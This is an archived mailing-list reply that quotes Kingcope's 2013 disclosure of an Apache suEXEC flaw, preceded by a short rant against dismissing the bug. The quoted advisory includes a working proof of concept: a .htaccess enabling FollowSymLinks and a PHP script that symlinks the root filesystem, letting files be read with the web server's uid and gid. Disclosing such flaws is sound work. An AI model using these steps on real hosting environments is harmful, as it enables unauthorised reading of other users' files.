Re: Apache suEXEC privilege elevation / information disclosure
So what your Emails Tell me is better ignore this vulnerability. I dont Clai=
m its a High severity Bug but if you Tell People to ignore it Because it isn=
t a vulnerability you are very much aiding the Chaos of insecurity in the In=
ternet today. You Maybe have a Secure Setting but theres only you on the Pla=
net. Attackers Look specifically for such Bugs to Open Servers. No Wonder we=
have compromises in a High Scale every Day due to this ignorance. My rant o=
n that One.
Am 07.08.2013 um 21:49 schrieb king cope <isowarez.isowarez.isowarez@googlem=
ail.com>:
> Apache suEXEC privilege elevation / information disclosure
>=20
> Discovered by Kingcope/Aug 2013
>=20
> The suEXEC feature provides Apache users the ability to run CGI and SSI pr=
ograms
> under user IDs different from the user ID of the calling web server. Norma=
lly,
> when a CGI or SSI program executes, it runs as the same user who is runnin=
g the
> web server.
> Used properly, this feature can reduce considerably the security risks inv=
olved
> with allowing users to develop and run private CGI or SSI programs.
>=20
> With this bug an attacker who is able to run php or cgi code inside a web
> hosting environment and the environment is configured to use suEXEC as a
> protection mechanism, he/she is able to read any file and directory on the=
file-
> system of the UNIX/Linux system with the user and group id of the
> apache web server.
>=20
> Normally php and cgi scripts are not allowed to read files with the apache=
user-
> id inside a suEXEC configured environment.
>=20
> Take for example this apache owned file and the php script that follows.
>=20
> $ ls -la /etc/testapache
> -rw------- 1 www-data www-data 36 Aug 7 16:28 /etc/testapache
> only user www-data should be able to read this file.
>=20
> $ cat test.php
> <?php
> system("id; cat /etc/testapache");
> ?>
>=20
> When calling the php file using a webbrowser it will show...
> uid=3D1002(example) gid=3D1002(example) groups=3D1002(example)
>=20
> because the php script is run trough suEXEC.
> The script will not output the file requested because of a permissions err=
or.
>=20
> Now if we create a .htaccess file with the content...
> Options Indexes FollowSymLinks
>=20
> and a php script with the content...
>=20
> <?php
> system("ln -sf / test99.php");
> symlink("/", "test99.php"); // try builtin function in case when
> //system() is blocked
> ?>
> in the same folder
>=20
> ..we can access the root filesystem with the apache uid,gid by
> requesting test99.php.
> The above php script will simply create a symbolic link to '/'.
>=20
> A request to test99.php/etc/testapache done with a web browser shows..
> voila! read with the apache uid/gid
>=20
> The reason we can now read out any files and traverse directories owned by=
the
> apache user is because apache httpd displays symlinks and directory listin=
gs
> without querying suEXEC.
> It is not possible to write to files in this case.
>=20
> Version notes. Assumed is that all Apache versions are affected by this bu=
g.
>=20
> apache2 -V
> Server version: Apache/2.2.22 (Debian)
> Server built: Mar 4 2013 21:32:32
> Server's Module Magic Number: 20051115:30
> Server loaded: APR 1.4.6, APR-Util 1.4.1
> Compiled using: APR 1.4.6, APR-Util 1.4.1
> Architecture: 32-bit
> Server MPM: Worker
> threaded: yes (fixed thread count)
> forked: yes (variable process count)
> Server compiled with....
> -D APACHE_MPM_DIR=3D"server/mpm/worker"
> -D APR_HAS_SENDFILE
> -D APR_HAS_MMAP
> -D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
> -D APR_USE_SYSVSEM_SERIALIZE
> -D APR_USE_PTHREAD_SERIALIZE
> -D APR_HAS_OTHER_CHILD
> -D AP_HAVE_RELIABLE_PIPED_LOGS
> -D DYNAMIC_MODULE_LIMIT=3D128
> -D HTTPD_ROOT=3D"/etc/apache2"
> -D SUEXEC_BIN=3D"/usr/lib/apache2/suexec"
> -D DEFAULT_PIDLOG=3D"/var/run/apache2.pid"
> -D DEFAULT_SCOREBOARD=3D"logs/apache_runtime_status"
> -D DEFAULT_ERRORLOG=3D"logs/error_log"
> -D AP_TYPES_CONFIG_FILE=3D"mime.types"
> -D SERVER_CONFIG_FILE=3D"apache2.conf"
>=20
> Cheers,
> /Kingcope
討論串 (同標題文章)
完整討論串 (本文為第 3 之 4 篇)：